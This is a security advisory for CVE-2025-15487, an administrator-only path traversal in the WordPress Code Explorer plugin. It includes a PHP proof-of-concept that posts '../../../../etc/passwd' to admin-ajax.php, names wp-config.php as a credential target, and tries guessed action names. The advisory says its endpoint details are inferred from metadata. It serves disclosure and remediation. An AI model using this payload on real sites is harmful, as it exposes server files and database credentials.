Atomic Edge analysis of CVE-2025-15487 (metadata-based):
This vulnerability is an authenticated path traversal flaw in the WordPress Code Explorer plugin version 1.4.6 and earlier. The vulnerability allows attackers with administrator privileges to read arbitrary files on the server via improper validation of the ‘file’ parameter. The CVSS score of 4.9 reflects the high confidentiality impact tempered by the requirement for administrator-level access.
Atomic Edge research indicates the root cause is CWE-22, improper limitation of a pathname to a restricted directory. The plugin likely implements a file viewing or editing feature for administrators but fails to properly sanitize user-supplied file paths. Without source code access, this conclusion is inferred from the CWE classification and vulnerability description. The plugin appears to trust the ‘file’ parameter value without validating it against a whitelist of allowed directories or preventing directory traversal sequences.
Exploitation requires administrator-level access to WordPress. Attackers would send a crafted HTTP request containing directory traversal sequences in the ‘file’ parameter. Based on WordPress plugin patterns, the vulnerable endpoint is likely an AJAX handler at /wp-admin/admin-ajax.php with an action parameter containing ‘code_explorer’ or a similar identifier. The payload would use ‘../’ sequences to escape the intended directory, such as ‘../../../../etc/passwd’ to read system files. Attackers could also target WordPress configuration files like wp-config.php.
Remediation requires implementing proper path validation. The plugin should normalize file paths and restrict access to specific directories, typically within the plugin’s own directory or WordPress uploads directory. Input validation should reject any path containing directory traversal sequences. A whitelist approach is preferable, where only explicitly allowed file extensions and locations are accessible. The fix should also implement capability checks to ensure only authorized users can access the file reading functionality.
Successful exploitation leads to complete file read access on the server. Attackers can read sensitive files including WordPress configuration files containing database credentials, server configuration files, and other application data. This information disclosure can facilitate further attacks such as database compromise or privilege escalation. The vulnerability does not directly enable remote code execution or file modification according to the CVSS vector.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-15487 - Code Explorer <= 1.4.6 - Authenticated (Administrator+) Arbitrary File Read via 'file' Parameter
<?php
$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$username = 'admin';
$password = 'password';
$file_to_read = '../../../../etc/passwd'; // Change this to target different files
// Assumptions based on WordPress plugin patterns:
// 1. The vulnerable endpoint is /wp-admin/admin-ajax.php
// 2. The action parameter contains 'code_explorer' or similar
// 3. The vulnerable parameter is named 'file'
// 4. Administrator authentication is required via WordPress cookies
function get_wordpress_cookies($url, $username, $password) {
// This function would need to implement WordPress login to obtain authentication cookies
// For this PoC, we assume the attacker already has valid admin session cookies
// In a real scenario, implement: wp-login.php POST with log/pwd, extract cookies from response
return array('wordpress_logged_in_xxx' => 'cookie_value');
}
// Initialize cURL session
$ch = curl_init();
// Set target URL
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Set POST data with assumed parameters
$post_data = array(
'action' => 'code_explorer_get_file', // Inferred from plugin slug
'file' => $file_to_read,
// WordPress AJAX endpoints typically require nonce, but vulnerability suggests nonce may be missing or bypassable
// If nonce is required, attacker would need to extract it from admin pages first
'nonce' => 'extracted_nonce_if_required' // Placeholder
);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
// Set cookies (assuming attacker has admin session)
$cookies = get_wordpress_cookies($target_url, $username, $password);
$cookie_header = '';
foreach ($cookies as $name => $value) {
$cookie_header .= $name . '=' . $value . '; ';
}
curl_setopt($ch, CURLOPT_COOKIE, trim($cookie_header));
// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Output results
if ($http_code == 200 && !empty($response)) {
echo "Potential successful exploitation. Response (first 500 chars):n";
echo substr($response, 0, 500) . "n";
// Check for common file contents to confirm
if (strpos($response, 'root:') !== false || strpos($response, 'DB_NAME') !== false) {
echo "File read confirmed.n";
}
} else {
echo "Exploitation failed or endpoint assumptions incorrect. HTTP Code: $http_coden";
echo "Consider trying different action parameter names:n";
echo "- code_explorer_readn";
echo "- code_explorer_viewn";
echo "- code_explorer_filen";
echo "- explorer_get_filen";
}
curl_close($ch);
?>
